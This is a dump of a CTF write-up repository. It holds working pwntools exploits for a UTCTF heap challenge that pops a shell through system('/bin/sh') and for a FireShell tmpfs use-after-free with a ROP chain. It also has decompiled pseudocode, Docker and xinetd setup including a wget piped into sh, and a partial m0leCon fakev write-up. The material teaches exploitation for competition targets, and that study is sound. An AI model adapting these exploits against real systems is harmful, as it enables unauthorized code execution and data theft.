https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/bp_validation.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/heap_layout.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/heap_layout.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/konata.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/konata.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/process_msg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/process_msg.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/server_main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/server_main.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/shell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/shell.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/stack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/stack.png
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/server:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/server
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/exploit.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 |
4 | def bxor(s, b):
5 | res = ''
6 | for x in s:
7 | res += chr(ord(x) ^ b)
8 | return res
9 |
10 |
11 | def sxor(a, b):
12 | res = ''
13 | for x, y in zip(a, b):
14 | res += chr(ord(x) ^ ord(y))
15 | return res
16 |
17 |
18 | def encrypt(pc, option, size, msg):
19 | pc.sendlineafter('>', '1')
20 | pc.sendlineafter('Choose an encryption option:', str(option))
21 | if option not in [1, 2]:
22 | return
23 | pc.sendlineafter('How long is your message?', str(size))
24 | if size == 0:
25 | return
26 | pc.sendlineafter('Please enter your message: ', msg)
27 |
28 |
29 | def remove(pc, index):
30 | pc.sendlineafter('>', '2')
31 | pc.sendlineafter('Enter the index of the message that you want to remove: ', str(index))
32 |
33 |
34 | def view(pc):
35 | pc.sendlineafter('>', '3')
36 |
37 |
38 | def edit(pc, index, new_msg):
39 | pc.sendlineafter('>', '4')
40 | pc.sendlineafter('Enter the index of the message that you wish to edit', str(index))
41 | pc.sendlineafter('Enter the new message', new_msg)
42 |
43 |
44 | def main():
45 | libc = ELF('./libc-2.23.so')
46 |
47 | pc = remote('stack.overflow.fail', 9004)
48 |
49 | pc.sendlineafter('What is your user id?', str(0x70))
50 |
51 | encrypt(pc, 2, 0x100, 'AAAA')
52 | encrypt(pc, 2, 0x60, 'BBBB')
53 |
54 | remove(pc, 0)
55 |
56 | encrypt(pc, 2, 0, '')
57 |
58 | view(pc)
59 | for _ in range(11):
60 | pc.recvline()
61 | main_arena = u64(bxor(pc.recvline()[12:-1], 0x70).ljust(8, '\x00'))
62 | libc_base = main_arena - 0x3c4d00
63 | binsh = libc_base + next(libc.search('/bin/sh'))
64 | system = libc_base + libc.symbols['system']
65 | log.success('libc base @ ' + hex(libc_base))
66 |
67 | encrypt(pc, 2, 0x20, 'A' * 0x20)
68 | remove(pc, 2)
69 |
70 | encrypt(pc, 3, 0, '')
71 | encrypt(pc, 3, 0, '')
72 | encrypt(pc, 3, 0, '')
73 |
74 | edit(pc, 2, p64(binsh) + p64(0) + p64(system) + p64(0))
75 | edit(pc, 4, '')
76 |
77 | pc.interactive()
78 |
79 |
80 | if __name__ == '__main__':
81 | main()
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/libc-2.23.so
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/pseudocode.c:
--------------------------------------------------------------------------------
1 | int
2 | print_key(void)
3 | {
4 | return puts("OTP Encryption");
5 | }
6 |
7 | int
8 | print_xor(void)
9 | {
10 | return puts("XOR Encryption");
11 | }
12 |
13 | const char *__fastcall
14 | key_encrypt(__int64 msg, const char *skey)
15 | {
16 | const char *result; // rax
17 | int i; // [rsp+18h] [rbp-18h]
18 | size_t skey_len; // [rsp+20h] [rbp-10h]
19 | size_t key_len; // [rsp+28h] [rbp-8h]
20 |
21 | skey_len = strlen(skey);
22 | key_len = strlen(key);
23 | for ( i = 0; i < skey_len; ++i )
24 | skey[i] ^= key[(i % key_len)];
25 | result = &skey[skey_len];
26 | skey[skey_len] = 0;
27 | return result;
28 | }
29 |
30 | const char *__fastcall
31 | xor_encrypt(__int64 msg, const char *key)
32 | {
33 | const char *result; // rax
34 | char byte; // [rsp+13h] [rbp-Dh]
35 | int i; // [rsp+14h] [rbp-Ch]
36 | size_t key_len; // [rsp+18h] [rbp-8h]
37 |
38 | byte = user_id;
39 | key_len = strlen(key);
40 | for ( i = 0; i < key_len; ++i )
41 | key[i] = byte ^ *(i + msg);
42 | result = &key[key_len];
43 | key[key_len] = 0;
44 | return result;
45 | }
46 |
47 | unsigned __int64
48 | edit_encrypted_message(void)
49 | {
50 | int index; // [rsp+4h] [rbp-1Ch]
51 | __int128 msg; // [rsp+8h] [rbp-18h]
52 | unsigned __int64 v3; // [rsp+18h] [rbp-8h]
53 |
54 | v3 = __readfsqword(0x28u);
55 | puts("Enter the index of the message that you wish to edit");
56 | __isoc99_scanf("%d%*c", &index);
57 | if ( index >= 0 && index <= 19 && information[index] )
58 | {
59 | msg = *information[index];
60 | puts("Enter the new message");
61 | fgets(msg, *(information[index] + 36), stdin);
62 | (*(information[index] + 16))(msg, *(&msg + 1));
63 | }
64 | else
65 | {
66 | puts("Invalid index");
67 | }
68 | return __readfsqword(0x28u) ^ v3;
69 | }
70 |
71 | int
72 | print_menu(void)
73 | {
74 | puts("Welcome to Encryption as a Service!\n What would you like to do?");
75 | puts("1. Encrypt message");
76 | puts("2. Remove Encrypted Message");
77 | puts("3. View Encrypted Message");
78 | puts("4. Edit Encrypted Message");
79 | puts("5. Exit");
80 | return putchar(62);
81 | }
82 |
83 | int
84 | print_encryption_menu(void)
85 | {
86 | puts("Choose an encryption option:");
87 | puts("1. OTP");
88 | puts("2. XOR");
89 | return putchar(62);
90 | }
91 |
92 | signed __int64
93 | find_index(void)
94 | {
95 | signed int i; // [rsp+0h] [rbp-4h]
96 |
97 | for ( i = 0; i <= 19; ++i )
98 | {
99 | if ( !information[i] || *(information[i] + 32) )
100 | return i;
101 | }
102 | return 0xFFFFFFFFLL;
103 | }
104 |
105 | __int64
106 | create_info(void)
107 | {
108 | __int64 result; // rax
109 | int index; // [rsp+Ch] [rbp-4h]
110 |
111 | index = find_index();
112 | if ( index == -1 )
113 | {
114 | puts("You've reached the maximum number of messages that you can store.");
115 | result = 0LL;
116 | }
117 | else
118 | {
119 | if ( !information[index] )
120 | information[index] = malloc(0x28uLL);
121 | *(information[index] + 32) = 0;
122 | result = information[index];
123 | }
124 | return result;
125 | }
126 |
127 | int
128 | view_messages(void)
129 | {
130 | __int64 info; // rax
131 | signed int i; // [rsp+Ch] [rbp-4h]
132 |
133 | for ( i = 0; i <= 19; ++i )
134 | {
135 | info = information[i];
136 | if ( info )
137 | {
138 | LODWORD(info) = *(information[i] + 32);
139 | if ( !info )
140 | {
141 | printf("Message #%d\n", i);
142 | (*(information[i] + 24))();
143 | printf("Plaintext: %s\n", *information[i]);
144 | LODWORD(info) = printf("Ciphertext: %s\n", *(information[i] + 8));
145 | }
146 | }
147 | }
148 | return info;
149 | }
150 |
151 | unsigned __int64
152 | encrypt_string(void)
153 | {
154 | int option; // [rsp+8h] [rbp-28h]
155 | char info[12]; // [rsp+Ch] [rbp-24h]
156 | char *msg; // [rsp+18h] [rbp-18h]
157 | void *key; // [rsp+20h] [rbp-10h]
158 | unsigned __int64 canary; // [rsp+28h] [rbp-8h]
159 |
160 | canary = __readfsqword(0x28u);
161 | print_encryption_menu();
162 | __isoc99_scanf("%d%*c", &option);
163 | *&info[4] = create_info();
164 | if ( *&info[4] )
165 | {
166 | if ( option == 1 )
167 | {
168 | *(*&info[4] + 16LL) = key_encrypt;
169 | *(*&info[4] + 24LL) = print_key;
170 | }
171 | else
172 | {
173 | if ( option != 2 )
174 | {
175 | puts("Not a valid choice");
176 | return __readfsqword(0x28u) ^ canary;
177 | }
178 | *(*&info[4] + 16LL) = xor_encrypt;
179 | *(*&info[4] + 24LL) = print_xor;
180 | }
181 | printf("How long is your message?\n>", &option);
182 | __isoc99_scanf("%d%*c", info);
183 | *(*&info[4] + 36LL) = ++*info;
184 | msg = malloc(*info);
185 | printf("Please enter your message: ", info);
186 | fgets(msg, *info, stdin);
187 | **&info[4] = msg;
188 | key = malloc(*info);
189 | *(*&info[4] + 8LL) = key;
190 | (*(*&info[4] + 16LL))(msg, key); // interesting call
191 | printf("Your encrypted message is: %s\n", key);
192 | }
193 | return __readfsqword(0x28u) ^ canary;
194 | }
195 |
196 | unsigned __int64
197 | remove_encrypted_string(void)
198 | {
199 | int index; // [rsp+4h] [rbp-Ch]
200 | unsigned __int64 v2; // [rsp+8h] [rbp-8h]
201 |
202 | v2 = __readfsqword(0x28u);
203 | printf("Enter the index of the message that you want to remove: ");
204 | __isoc99_scanf("%d%*c", &index);
205 | if ( index >= 0 && index <= 19 && information[index] && *(information[index] + 32) != 1 )
206 | {
207 | *(information[index] + 32) = 1;
208 | free(*information[index]);
209 | free(*(information[index] + 8));
210 | }
211 | else
212 | {
213 | puts("Not a valid index.");
214 | }
215 | return __readfsqword(0x28u) ^ v2;
216 | }
217 |
218 | int __cdecl
219 | main(int argc, const char **argv, const char **envp)
220 | {
221 | int choice; // [rsp+14h] [rbp-Ch]
222 | unsigned __int64 v5; // [rsp+18h] [rbp-8h]
223 |
224 | v5 = __readfsqword(0x28u);
225 | setbuf(stdin, 0LL);
226 | setbuf(stdout, 0LL);
227 | puts("What is your user id?");
228 | __isoc99_scanf("%d%*c", &user_id);
229 | while ( 1 )
230 | {
231 | print_menu();
232 | __isoc99_scanf("%d%*c", &choice);
233 | switch ( choice )
234 | {
235 | case 1:
236 | encrypt_string();
237 | break;
238 | case 2:
239 | remove_encrypted_string();
240 | break;
241 | case 3:
242 | view_messages();
243 | break;
244 | case 4:
245 | edit_encrypted_message();
246 | break;
247 | case 5:
248 | return 0;
249 | default:
250 | puts("Not a valid option");
251 | break;
252 | }
253 | }
254 | }
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/pwnable:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/pwnable
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/desc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/desc.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/edit_encrypted_message.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/edit_encrypted_message.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/encrypt_string.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/encrypt_string.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/main.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/remove_encrypted_string.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/remove_encrypted_string.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/start_service.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/start_service.png
--------------------------------------------------------------------------------
/2019/UTCTF/Encryption Service/screens/view_messages.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/view_messages.png
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:18.04
2 |
3 | RUN apt-get update
4 | # RUN apt-get upgrade -y
5 | RUN apt-get install xinetd libseccomp-dev python \
6 | python-pip wget libbsd-dev gdb -y
7 |
8 | RUN pip install --upgrade pip
9 | RUN pip install pwntools
10 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
11 |
12 | RUN useradd -m tmpfs
13 |
14 | ADD --chown=root:root ./client /home/tmpfs/
15 | ADD --chown=root:root ./server /home/tmpfs/
16 | ADD --chown=root:root ./run.sh /home/tmpfs/
17 | ADD --chown=root:root ./flag /
18 | ADD --chown=root:root xinetd /etc/xinetd.d/tmpfs
19 |
20 | RUN chmod +x /home/tmpfs/run.sh
21 | RUN chmod +x /home/tmpfs/client
22 | RUN chmod +x /home/tmpfs/server
23 |
24 | RUN chmod 744 /tmp
25 | RUN chmod -R 774 /var/tmp
26 | RUN chmod -R 774 /dev
27 | RUN chmod -R 774 /run
28 | RUN chmod 1733 /tmp /var/tmp /dev/shm
29 |
30 | RUN chown -R root:root /home/tmpfs/
31 |
32 | EXPOSE 30047/tcp
33 |
34 | CMD ["/usr/sbin/xinetd", "-dontfork"]
35 |
36 |
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/README.md:
--------------------------------------------------------------------------------
1 | # FireShell CTF 2020
2 |
3 | ## Temporary File System Storage
4 |
5 | ## Information
6 |
7 | **Category** | **Points** | **Solves** | **Writeup Author**
8 | --- | --- | --- | ---
9 | PWN | 500 | 0 | [konata](https://github.com/merrychap)
10 |
11 | **Description:**
12 |
13 | >I have wrote an on-demand file storage service, where people may host their "files" temporarily, it works pretty >well and I doubt there are vulnerabilities :)
14 | >Machine: Ubuntu 18.04 LTS
15 | >You need to always start the server first (when testing locally), enjoy!
16 | >Flag is on /flag
17 | >Server: 142.93.113.55
18 | >Port: 31090
19 |
20 |
21 | **Files:**
22 |
23 | [client](./client)
24 |
25 | [client.remote](./client.remote)
26 |
27 | [server](./server)
28 |
29 | [libc](./libc-2.23.so)
30 |
31 | ## General information
32 |
33 | Little note: I was not able to solve that task in time of ctf and finished it several hours later. Enjoy. Maybe I will add more details in the near future :)
34 |
35 | TL;DR. After the crazy reverse part of this challenge (which will not be covered here, heh) it can be noticed that the client has some kind of cache of recenty created files (up to 3). This cache is just and an array of 3 pointers to recently opened files (that are allocated on heap). When 4th file is created, the client clears the cache and leaves pointers to file structs in the cache without zeroing them. It leads to UAF bug and further ROP chain execution.
36 |
37 | ## Exploit
38 |
39 | ```python
40 | import random
41 | import string
42 |
43 | from pwn import *
44 |
45 |
46 | def create_file(pc, filename, format, content=''):
47 | pc.sendlineafter('[*] 2 - Edit File', '0')
48 | pc.sendlineafter(':', filename)
49 | pc.sendlineafter(':', format)
50 | pc.sendlineafter(':', str(len(content)))
51 | if len(content) != 0:
52 | pc.sendafter(':', content)
53 |
54 |
55 | def delete_file(pc):
56 | pc.sendlineafter('[*] 2 - Edit File', '1')
57 |
58 |
59 | def edit_file(pc, filename, format):
60 | pc.sendlineafter('[*] 2 - Edit File', '2')
61 | pc.sendlineafter(':', filename)
62 | pc.sendlineafter(':', format)
63 |
64 |
65 | def edit_file_update_content(pc, content=''):
66 | pc.sendlineafter('[*] 3 - Exit file editor', '0')
67 | pc.sendlineafter(':', str(len(content)))
68 | if len(content) != 0:
69 | pc.send(content)
70 |
71 |
72 | def edit_file_change_display_format(pc, df):
73 | pc.sendlineafter('[*] 3 - Exit file editor', '1')
74 | pc.sendlineafter('[*] 1 - HEXDUMP:', str(df))
75 |
76 |
77 | def edit_file_display_content(pc):
78 | pc.sendlineafter('[*] 3 - Exit file editor', '2')
79 |
80 |
81 | def edit_file_exit_file_editor(pc):
82 | pc.sendlineafter('[*] 3 - Exit file editor', '3')
83 |
84 |
85 | def create_req(
86 | print_fn=0,
87 | filename='',
88 | filename_len=0,
89 | fileformat='',
90 | fileformat_len=0,
91 | data=0,
92 | data_size=0
93 | ):
94 | req = ''.join([
95 | p64(print_fn),
96 | filename.ljust(100, '\x00'),
97 | p32(0),
98 | p64(filename_len),
99 | fileformat.ljust(16, '\x00'),
100 | p64(fileformat_len),
101 | p64(data),
102 | p64(data_size)
103 | ])
104 |
105 | return req
106 |
107 |
108 | def random_string(length=10):
109 | letters = string.ascii_lowercase
110 | return ''.join(random.choice(letters) for i in range(length))
111 |
112 |
113 | def main():
114 | client = remote('142.93.113.55', 31090)
115 |
116 | create_file(client, 'AAAA', 'AAAA')
117 | log.info('create req struct with data_len = 0, it leads to heap leak')
118 | edit_file(client, 'AAAA', 'AAAA')
119 | edit_file_display_content(client)
120 |
121 | client.recvline()
122 | heap = u64(client.recvline()[17:-1].ljust(8, '\x00'))
123 | log.success('heap @ ' + hex(heap))
124 |
125 | edit_file_exit_file_editor(client)
126 |
127 | create_file(client, 'BBBB', 'BBBB')
128 | create_file(client, 'CCCC', 'CCCC')
129 |
130 | create_file(client, 'DDDD', 'DDDD')
131 | log.info('clear cache and proceed with uaf')
132 |
133 | filename = '/flag\x00'
134 | server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00')
135 |
136 | req = create_req(
137 | print_fn=0x41414141,
138 | filename='FFFF' + p32(0) + server_req,
139 | filename_len=4,
140 | fileformat='FFFF',
141 | fileformat_len=4,
142 | data=heap+0x2bf0,
143 | data_size=0xa8
144 | )
145 | create_file(client, 'EEEE', 'EEEE', req)
146 | log.info('alloc on existing req struct and overwrite it')
147 |
148 | edit_file(client, 'FFFF', 'FFFF')
149 | edit_file_change_display_format(client, 0)
150 | edit_file_display_content(client)
151 | log.info('leak code address from an existing req struct')
152 |
153 | client.recvline()
154 |
155 | code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90
156 |
157 | write = code_base + 0x1760
158 | read = code_base + 0x1920
159 |
160 | mov_rdi_rsp = code_base + 0x5b10
161 | pop_rdi = code_base + 0x3236
162 | pop_rsi = code_base + 0x4b25
163 | pop_rdx = code_base + 0x5b24
164 |
165 | log.success('code base @ ' + hex(code_base))
166 | log.success('write @ ' + hex(write))
167 | log.success('read @ ' + hex(read))
168 |
169 | rop = ''.join([
170 | # write request to the server
171 | p64(pop_rdi),
172 | p64(3),
173 | p64(pop_rsi),
174 | p64(heap+0x2b50),
175 | p64(pop_rdx),
176 | p64(len(server_req)),
177 | p64(write),
178 |
179 | # read request from server
180 | p64(read),
181 | p64(pop_rdi),
182 | p64(1),
183 | p64(write)
184 | ])
185 |
186 | log.info('rop size = {}'.format(len(rop)))
187 |
188 | pause()
189 | req = create_req(
190 | print_fn=mov_rdi_rsp,
191 | filename='DDDD' + p32(0) + rop,
192 | filename_len=4,
193 | fileformat='DDDD',
194 | fileformat_len=4,
195 | data=heap+0x2bf0+0x10,
196 | data_size=0xa8
197 | )
198 | edit_file_update_content(client, req)
199 | edit_file_exit_file_editor(client)
200 | log.info('overwrite req struct with rop and execute "mov rsp, rdi"')
201 |
202 | edit_file(client, 'DDDD', 'DDDD')
203 | edit_file_display_content(client)
204 | log.info('enjoying the flag :)')
205 |
206 | client.interactive()
207 |
208 |
209 | if __name__ == '__main__':
210 | main()
211 | ```
212 |
213 |
214 |
215 |
216 |
217 | > Flag: F#{45a7f65bfbba8d5924becfa04e5d139c7098820a}
218 |
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/client:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/client
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/client.remote:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/client.remote
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2.2'
2 | services:
3 | tmpfs:
4 | cap_add:
5 | - SYS_PTRACE
6 | build: .
7 | restart: always
8 | ports:
9 | - "0.0.0.0:30047:30047"
10 | mem_limit: 64m
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/flag:
--------------------------------------------------------------------------------
1 | FLAG{testtesttesttesttest}
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/images/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/images/flag.png
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | exec 2>/dev/null
3 | /home/tmpfs/server &
4 | timeout -k 5 30 /home/tmpfs/client
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/server:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/server
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/tmpfs.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 |
4 | from pwn import *
5 |
6 |
7 | def create_file(pc, filename, format, content=''):
8 | pc.sendlineafter('[*] 2 - Edit File', '0')
9 | pc.sendlineafter(':', filename)
10 | pc.sendlineafter(':', format)
11 | pc.sendlineafter(':', str(len(content)))
12 | if len(content) != 0:
13 | pc.sendafter(':', content)
14 |
15 |
16 | def delete_file(pc):
17 | pc.sendlineafter('[*] 2 - Edit File', '1')
18 |
19 |
20 | def edit_file(pc, filename, format):
21 | pc.sendlineafter('[*] 2 - Edit File', '2')
22 | pc.sendlineafter(':', filename)
23 | pc.sendlineafter(':', format)
24 |
25 |
26 | def edit_file_update_content(pc, content=''):
27 | pc.sendlineafter('[*] 3 - Exit file editor', '0')
28 | pc.sendlineafter(':', str(len(content)))
29 | if len(content) != 0:
30 | pc.send(content)
31 |
32 |
33 | def edit_file_change_display_format(pc, df):
34 | pc.sendlineafter('[*] 3 - Exit file editor', '1')
35 | pc.sendlineafter('[*] 1 - HEXDUMP:', str(df))
36 |
37 |
38 | def edit_file_display_content(pc):
39 | pc.sendlineafter('[*] 3 - Exit file editor', '2')
40 |
41 |
42 | def edit_file_exit_file_editor(pc):
43 | pc.sendlineafter('[*] 3 - Exit file editor', '3')
44 |
45 |
46 | def create_req(
47 | print_fn=0,
48 | filename='',
49 | filename_len=0,
50 | fileformat='',
51 | fileformat_len=0,
52 | data=0,
53 | data_size=0
54 | ):
55 | req = ''.join([
56 | p64(print_fn),
57 | filename.ljust(100, '\x00'),
58 | p32(0),
59 | p64(filename_len),
60 | fileformat.ljust(16, '\x00'),
61 | p64(fileformat_len),
62 | p64(data),
63 | p64(data_size)
64 | ])
65 |
66 | return req
67 |
68 |
69 | def random_string(length=10):
70 | letters = string.ascii_lowercase
71 | return ''.join(random.choice(letters) for i in range(length))
72 |
73 |
74 | def main():
75 | client = remote('142.93.113.55', 31090)
76 | # client = remote('localhost', 30047)
77 |
78 | create_file(client, 'AAAA', 'AAAA')
79 | log.info('create req struct with data_len = 0, it leads to heap leak')
80 | edit_file(client, 'AAAA', 'AAAA')
81 | edit_file_display_content(client)
82 |
83 | client.recvline()
84 | heap = u64(client.recvline()[17:-1].ljust(8, '\x00'))
85 | log.success('heap @ ' + hex(heap))
86 |
87 | edit_file_exit_file_editor(client)
88 |
89 | create_file(client, 'BBBB', 'BBBB')
90 | create_file(client, 'CCCC', 'CCCC')
91 |
92 | create_file(client, 'DDDD', 'DDDD')
93 | log.info('clear cache and proceed with uaf')
94 |
95 | filename = '/flag\x00'
96 | server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00')
97 |
98 | req = create_req(
99 | print_fn=0x41414141,
100 | filename='FFFF' + p32(0) + server_req,
101 | filename_len=4,
102 | fileformat='FFFF',
103 | fileformat_len=4,
104 | data=heap+0x2bf0,
105 | data_size=0xa8
106 | )
107 | create_file(client, 'EEEE', 'EEEE', req)
108 | log.info('alloc on existing req struct and overwrite it')
109 |
110 | edit_file(client, 'FFFF', 'FFFF')
111 | edit_file_change_display_format(client, 0)
112 | edit_file_display_content(client)
113 | log.info('leak code address from an existing req struct')
114 |
115 | client.recvline()
116 |
117 | code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90
118 |
119 | write = code_base + 0x1760
120 | read = code_base + 0x1920
121 |
122 | mov_rdi_rsp = code_base + 0x5b10
123 | pop_rdi = code_base + 0x3236
124 | pop_rsi = code_base + 0x4b25
125 | pop_rdx = code_base + 0x5b24
126 |
127 | log.success('code base @ ' + hex(code_base))
128 | log.success('write @ ' + hex(write))
129 | log.success('read @ ' + hex(read))
130 |
131 | rop = ''.join([
132 | # write request to the server
133 | p64(pop_rdi),
134 | p64(3),
135 | p64(pop_rsi),
136 | p64(heap+0x2b50),
137 | p64(pop_rdx),
138 | p64(len(server_req)),
139 | p64(write),
140 |
141 | # read request from server
142 | p64(read),
143 | p64(pop_rdi),
144 | p64(1),
145 | p64(write)
146 | ])
147 |
148 | log.info('rop size = {}'.format(len(rop)))
149 |
150 | pause()
151 | req = create_req(
152 | print_fn=mov_rdi_rsp,
153 | filename='DDDD' + p32(0) + rop,
154 | filename_len=4,
155 | fileformat='DDDD',
156 | fileformat_len=4,
157 | data=heap+0x2bf0+0x10,
158 | data_size=0xa8
159 | )
160 | edit_file_update_content(client, req)
161 | edit_file_exit_file_editor(client)
162 | log.info('overwrite req struct with rop and execute "mov rsp, rdi"')
163 |
164 | edit_file(client, 'DDDD', 'DDDD')
165 | edit_file_display_content(client)
166 | log.info('enjoying the flag :)')
167 |
168 | client.interactive()
169 |
170 |
171 | if __name__ == '__main__':
172 | main()
--------------------------------------------------------------------------------
/2020/FireShellCTF/tmpfs/xinetd:
--------------------------------------------------------------------------------
1 | service tmpfs
2 | {
3 | disable = no
4 | type = UNLISTED
5 | wait = no
6 | server = /home/tmpfs/run.sh
7 | socket_type = stream
8 | protocol = tcp
9 | user = tmpfs
10 | port = 30047
11 | flags = REUSE
12 | instances = 20
13 | per_source = 5
14 | rlimit_cpu = 3
15 | nice = 18
16 | }
17 |
--------------------------------------------------------------------------------
/2020/m0leCon/fakev/README.md:
--------------------------------------------------------------------------------
1 | # m0leCon CTF 2020 Teaser
2 |
3 | ## fakev
4 |
5 | This challenge was solved by [@korniltsev](https://ctftime.org/user/54962), [@mostobriv](https://ctftime.org/user/25913), [@n00bie](https://ctftime.org/user/50936) and me (on behalf of [Corrupted Pwnis](https://ctftime.org/team/87386)).
6 |
7 | Writeup will not be super detailed, but rather brief overview of the solution.
8 |
9 | `fakev` service allows us to open up to 9 files which are organized into a linked list of the following structure:
10 |
11 | ```cpp
12 | struct node_t {
13 | FILE *file;
14 | struct node_t *next;
15 | };
16 | ```
17 |
18 | Where `file` is a pointer into the file structure of the corresponding file. Also, we're able to close and read content of these files (write isn't implemented).
19 |
20 | Basically, there are 2 vulns. The first one is UAF in reading file content (we can read the file content of the already closed file). The second one is placed inside of `add` function. When we create 9th file, service allocates new `struct node_t` for this file, but doesn't use it. Instead, it assigns stack address into `next` field of the previously opened file:
21 |
22 | ```cpp
23 | new_node = (node_t *)malloc(0x10uLL);
24 | if ( !new_node )
25 | {
26 | perror("Couldn't alloc");
27 | exit(1);
28 | }
29 | node->next = (node_t *)&stack; // set next to stack
30 | node->next->file = (_QWORD *)fp;
31 | node->next->next = 0LL;
32 | ```
33 |
34 | If we can control stack value, then we're able to change `next` into controlled `struct node_t` with controlled `file` field. In `get_int` function input that user supplies is then saved into the global variable (address of this variable is known because of disabled `PIE`).
35 |
36 | Hence, attack vector is the next:
37 |
38 | 1. Leak libc address (will be explained below)
39 | 2. Change `next` field of the last opened file with the controlled one (already explained)
40 | 3. Point `file` into global variable which is controlled (already explained)
41 | 4. Call `fclose` on the `fake file` and get the shell (will be explained below).
42 |
